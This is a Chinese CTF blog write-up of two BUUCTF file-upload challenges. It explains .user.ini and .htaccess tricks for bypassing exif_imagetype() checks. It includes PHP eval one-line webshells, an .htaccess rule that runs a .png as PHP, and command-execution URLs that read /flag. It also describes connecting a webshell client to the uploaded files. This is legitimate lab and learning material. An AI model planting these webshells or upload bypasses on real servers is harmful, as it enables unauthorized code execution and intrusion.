【CTF】buuctf web (四)——通过配置文件构造PHP后门

知识点

php.ini

  • php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER
  • PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,.user.ini中设置。

.user.ini

  • .user.ini文件
    .user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
  • 它比.htaccess(分布式配置文件)用的更广,不管是nginx/apache/IIS,只要是以fastcgi(进程管理器)运行的php都可以用这个方法。
  • Php配置项中有两个比较有意思的项
    auto_prepend_file指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。
    auto_append_file类似,只是在文件后面包含

.htaccess

  • .htaccess分布式配置文件,它提供了针对目录改变配置的方法——在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。并且子目录中的指令会覆盖更高级目录或者主服务器配置文件中的指令。一般来说,如果你的虚拟主机使用的是Unix或Linux系统,或者任何版本的Apache网络服务器,从理论上讲都是支持.htaccess的。
  • 目录规则:一般我们将.htaccess文件放置在网站的根目录,控制所在目录及所有子目录,而如果放置在子目录中,会受上级目录中.htaccess文件影响,是不起任何作用的。
  • .htaccess可以实现:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

绕过exif_imagetype()

exif_imagetype() 读取一个图像的第一个字节并检查其签名。判断一个图像的类型
文件头检查,几个常见的文件头对应关系:
(1) .JPEG;.JPE;.JPG,”JPGGraphic File”
(2) .gif,”GIF 89A”
(3) .zip,”Zip Compressed”
(4) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfil

也可以直接上传图片,在图片的最后加上一句话木马的内容

[SUCTF 2019]CheckIn

上传一个a.php文件,文件内容为<?php phpinfo();?>
在这里插入图片描述

提示非法后缀,将后缀php修改为jpg

在这里插入图片描述

提示<?被过滤了
将内容变为脚本标记格式:<script language=php> phpinfo() </script>
在这里插入图片描述

提示没有图片,这里是被php内置函数exif_imagetype(用于获取函数文件类型)检测到了
那我们上传个图片马<script language=php> @eval($_POST['a']) </script>

在这里插入图片描述
试了好多后缀,还是上传失败,总之各种问题

下面是学习大佬的方法

方法一:user.ini文件构成PHP后门

创建.user.ini文件,前面的GIF是为了绕过检测;因为后台用exif_imagetype函数检测文件类型,所以我们在文件前加上图片的特征,来绕过检测。
在这里插入图片描述

上传
在这里插入图片描述

创建图片文件

在这里插入图片描述

上传
在这里插入图片描述
蚁剑链接http://5df3767e-4da9-41f9-85fc-6629510b2f2b.node4.buuoj.cn:81/uploads/ea6cf191dc7eec7b0e43199e459204e5/index.php

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述拿到flag~~

方法二:命令执行

上传图片马后,扫描根目录:/index.php?a=var_dump(scandir("/"));
我们可以可以看见一个叫flag的文件
/index.php?a=var_dump(file_get_contents("/flag"));or/index.php?a=system('cat /flag');

参考链接:https://blog.csdn.net/RABCDXB/article/details/113623796
参考链接:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

[MRCTF2020]你传你🐎呢

在这里插入图片描述

我先试着个一句话木马上去<?php @eval($_POST['test']);?>
在这里插入图片描述上传失败,
接着又试了试图片马,
在这里插入图片描述

还是不行
然后就试了一下上个题的两个文件
在这里插入图片描述
上传.user.ini文件时,上传失败
在这里插入图片描述

在这里插入图片描述
上传木马文件时竟然成功了,但是尝试用蚁剑连一下,连接失败
看来上一题的方法不能用,下面是学习大佬的方法

做题步骤
此题需要上传两个文件

第一个:.htaccess文件,用来改变文件扩展名

<FilesMatch "a.png">
SetHandler application/x-httpd-php
</FilesMatch>

<FilesMatch "a.png">指定的是要上传的文件,注意文件名必须相同

上传时先抓包,修改Content-Type:image/png
在这里插入图片描述点击forward,上传成功

在这里插入图片描述

第二个:木马文件,用来连接蚁剑或菜刀
在这里插入图片描述
上传时同样修改Content-Type:image/png
在这里插入图片描述用蚁剑连接:http://93ac29f7-de06-4936-9f07-9b157b4704d2.node4.buuoj.cn:81/upload/fa59a7192463c0cd3dae65088e762e1f/a.png
在这里插入图片描述连接成功
在这里插入图片描述
拿到flag~~

参考文章:https://blog.csdn.net/RABCDXB/article/details/114297306
参考文章:https://www.cnblogs.com/adforce/archive/2012/11/23/2784664.html
参考文章:https://www.php.net/manual/zh/configuration.file.per-user.php

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

吃_早餐

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值